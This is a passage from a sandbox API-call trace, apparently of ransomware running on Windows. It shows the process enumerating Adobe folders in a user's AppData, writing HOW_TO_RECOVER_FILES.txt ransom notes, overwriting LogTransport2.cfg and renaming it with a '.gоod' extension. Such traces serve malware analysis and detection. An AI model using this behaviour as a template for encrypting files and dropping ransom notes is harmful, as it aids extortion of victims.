nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x31 [0228.560] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0228.560] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.560] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0228.560] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0228.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0228.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0228.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0228.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x31 [0228.560] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0228.561] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.561] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0228.561] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0228.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0228.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0228.561] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0228.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0228.561] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\linguistics\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0228.562] GetFileType (hFile=0x828) returned 0x1 [0228.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0228.562] GetFileType (hFile=0x828) returned 0x1 [0228.562] WriteFile (in: hFile=0x828, lpBuffer=0x36c1758*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x36c1758*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0228.563] CloseHandle (hObject=0x828) returned 1 [0228.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0228.563] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x33 [0228.564] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0228.564] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.564] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0228.564] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 1 [0228.564] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0228.564] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0228.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0228.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0228.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0228.565] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x33 [0228.565] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0228.565] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.565] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0228.565] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 1 [0228.565] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 0 [0228.566] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0228.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0228.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0228.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", lpFilePart=0x0) returned 0x45 [0228.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecda0) returned 1 [0228.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg"), fInfoLevelId=0x0, lpFileInformation=0x36d0c30 | out: lpFileInformation=0x36d0c30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8)) returned 1 [0228.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd60) returned 1 [0228.567] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", lpFilePart=0x0) returned 0x45 [0228.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0228.567] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0228.567] GetFileType (hFile=0x828) returned 0x1 [0228.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecbc0) returned 1 [0228.567] GetFileType (hFile=0x828) returned 0x1 [0228.567] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x204ecdf8 | out: lpFileSizeHigh=0x204ecdf8*=0x0) returned 0xd8 [0228.567] ReadFile (in: hFile=0x828, lpBuffer=0x36d0fe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecd28, lpOverlapped=0x0 | out: lpBuffer=0x36d0fe0*, lpNumberOfBytesRead=0x204ecd28*=0xd8, lpOverlapped=0x0) returned 1 [0228.568] CloseHandle (hObject=0x828) returned 1 [0229.759] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", lpFilePart=0x0) returned 0x45 [0229.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0229.759] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0229.760] GetFileType (hFile=0x768) returned 0x1 [0229.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecbc0) returned 1 [0229.760] GetFileType (hFile=0x768) returned 0x1 [0229.760] WriteFile (in: hFile=0x768, lpBuffer=0x37abcb8*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x204ecc38, lpOverlapped=0x0 | out: lpBuffer=0x37abcb8*, lpNumberOfBytesWritten=0x204ecc38*=0xe0, lpOverlapped=0x0) returned 1 [0229.761] CloseHandle (hObject=0x768) returned 1 [0229.761] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", lpFilePart=0x0) returned 0x45 [0229.761] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.gоod", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.gоod", lpFilePart=0x0) returned 0x4a [0229.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecd60) returned 1 [0229.761] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg"), fInfoLevelId=0x0, lpFileInformation=0x204ece40 | out: lpFileInformation=0x204ece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8529080a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0229.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd20) returned 1 [0229.762] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg.gоod")) returned 1 [0229.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0229.763] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpFilePart=0x0) returned 0x38 [0229.763] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0229.763] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.764] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0229.764] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0229.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0229.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0229.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0229.764] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", lpFilePart=0x0) returned 0x38 [0229.764] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0229.764] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.764] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0229.764] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0229.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0229.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0229.765] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x51 [0229.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0229.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0229.765] GetFileType (hFile=0x768) returned 0x1 [0229.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0229.765] GetFileType (hFile=0x768) returned 0x1 [0229.766] WriteFile (in: hFile=0x768, lpBuffer=0x37bce80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x37bce80*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0229.767] CloseHandle (hObject=0x768) returned 1 [0229.767] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0229.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0229.767] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0229.840] GetFileType (hFile=0x864) returned 0x1 [0229.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0229.840] GetFileType (hFile=0x864) returned 0x1 [0230.649] WriteFile (in: hFile=0x864, lpBuffer=0x3713438*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3713438*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0230.650] CloseHandle (hObject=0x864) returned 1 [0230.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0230.651] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: 